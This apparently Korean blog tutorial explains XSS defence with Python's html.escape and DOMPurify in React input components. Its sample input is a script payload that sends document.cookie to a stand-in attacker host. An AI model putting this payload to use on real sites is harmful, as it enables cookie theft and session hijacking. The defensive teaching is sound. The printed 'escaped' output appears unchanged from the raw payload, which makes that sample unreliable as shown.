
사이트 간 스크립팅은 웹 애플리케이션에서 나타나는 취약점 중의 하나로, 사용자 브라우저에 악성 스크립트를 삽입하여 실행시키는 웹 해킹 기법이다. 주로 사용자로부터 입력받은 값을 제대로 검사하지 않고 사용할 경우 나타난다. 리다이렉션 스크립트를 주입하기도 하고, 쿠키를 탈취하여 세션 하이재킹 (Session Hijacking) 공격을 수행하기도 한다.
html 모듈의 escape 처리를 통해 XSS 공격을 막을 수 있다
import html
src = '<script>location.href="http://hack.er/Cookie.php?cookie="+document.cookie</script>'
result = html.escape(src)
print(result)
html.escape() 함수를 사용하면 HTML 문자열을 쉽게 이스케이프 처리할 수 있다.
c:\projects\pylib>python html_sample.py
<script>location.href="http://hack.er/Cookie.php?cookie="+document.cookie</script>
위와 같이 이스케이프 처리된 문자열은 브라우저에선 그대로 보이지만 HTML 본연의 태그나 스크립트 기능은 사라진 상태가 된다. 이렇게 escape 처리를 통해 HTML 특수 문자를 엔티티로 변환하여 안전하게 표시할 수 있지만 escape 처리는 주로 특수 문자를 안전하게 표시하는 데 중점 을 두고 있다.
DOMPurify는 클라이언트 측에서 HTML,SVG,MathML 등의 컨텐츠를 정화하여 XSS (크로스사이트 스크립팅) 공격을 방지하는 라이브러리이다. 입력한 값을 안전하게 처리하여 악성 코드가 실행되지 않도록 보호할 수 있다. DOMPurify는 입력된 HTML의 구조를 분석해 위험 요소를 제거 하는 데 중점을 둔다.
악의적인 사용자가<script> 태그를 통해 악성 코드를 삽입하여 다른 사용자의 브라우저에서 실행할 수 있다. 이를 방지하기 위해 DOMPurify.sanitize(e.target.value)를 사용하여 사용자 입력을 sanitize한다.
HTML 필터링을 거쳐 악의적인 스크립트를 제거하고, 안전한 HTML로 변환하는 필터링 과정을 sanitize라고 한다.
이 과정에서 잠재적으로 위험한 HTML 태그나 스크립트가 제거된다. DOMPurify는 입력된 HTML을 파싱하고 DOM 트리로 변환한다.
<textarea
rows={5}
className="w-full h-[320px] px-3 py-2 border border-gray-300 rounded mt-1 text-body-regular"
placeholder="요청 내용을 입력해주세요"
style={{resize: 'none', outline: 'none'}}
value={descriptionInput.value}
onChange={(e) => {
const sanitizedValue = DOMPurify.sanitize(e.target.value);
descriptionInput.setValue(sanitizedValue);
setDescription(sanitizedValue);
}}
/>
사용자가 <textarea>에 입력한 값은 e.target.value로 가져온다. 이 값은 악성 스크립트나 HTML 태그를 포함할 수 있기 때문에 DOMPurify.sanitize 를 통해 정화(sanitize)하여 안전한 값으로 변환한다.
import DOMPurify from 'dompurify';
import React, { useState } from 'react';
interface InputProps {
type?: string;
element: 'input' | 'textarea';
label?: string;
size: 'sm' | 'lg';
placeholder?: string;
required?: boolean;
maxLength?: number;
name?: string;
value?: string;
onChange?: (sanitizedValue: string) => void;
}
export default function Input({type, element, label, size, name, value, placeholder, required, maxLength, onChange}: InputProps) {
const [localValue, setLocalValue] = useState(value || '');
const handleChange = (e: React.ChangeEvent<HTMLInputElement | HTMLTextAreaElement>) => {
const inputValue = e.target.value;
setLocalValue(inputValue);
// 입력 값을 저장하거나 서버로 전송할 때만 DOMPurify 사용
if (onChange) {
const sanitizedValue = DOMPurify.sanitize(inputValue);
onChange(sanitizedValue);
}
};
return (
<div className={`flex ${element === 'input' ? ' items-center' : 'items-start '}`}>
{label && <label className="text-subtitle mr-6 w-[120px]">{label}</label>}
{element === 'input' ? (
<input
type={type}
name={name}
value={localValue}
placeholder={placeholder}
maxLength={maxLength}
required={required}
onChange={handleChange}
className={` ${size === 'sm' ? 'py-2' : ' py-4'} px-4 text-subtitle-regular w-full border border-gray-2 rounded-md focus:outline-none focus:border-main `}
/>
) : (
<textarea
placeholder={placeholder}
required={required}
maxLength={maxLength}
value={localValue}
onChange={handleChange}
className={
'px-4 py-4 resize-none h-[234px] text-subtitle-regular w-full border border-gray-2 rounded-md focus:outline-none focus:border-main'
}
/>
)}
</div>
);
}
onChange 이벤트 핸들러 내에 직접 DOMPurify.sanitaize()를 호출하여 사용한다면, 사용자 입력이 발생할 때마다 실행되므로 성능에 영향을 줄 수 있다. 입력 값이 외부로 노출되는 입력 값을 저장할 때나 서버로 전송할 때만 사용하기 위해 if문을 추가하였다.
onChange 콜백 함수는 주로 입력 필드의 값이 변경될 때 호출된다. 이 콜백 함수는 입력 값을 처리하거나 저장하는 데 사용된다. onChange 콜백 함수가 없다면, 입력 값이 저장되거나 전송되지 않는다. 주로 HTML 문자열을 DOM에 삽입할 때 XSS 공격을 방어하기 위해 사용되는데, 입력 값이 단순한 문자열이거나 입력값 저장, 처리 되는 때가 아니라면 DOMPurify가 꼭 필요하지 않을 수 있다.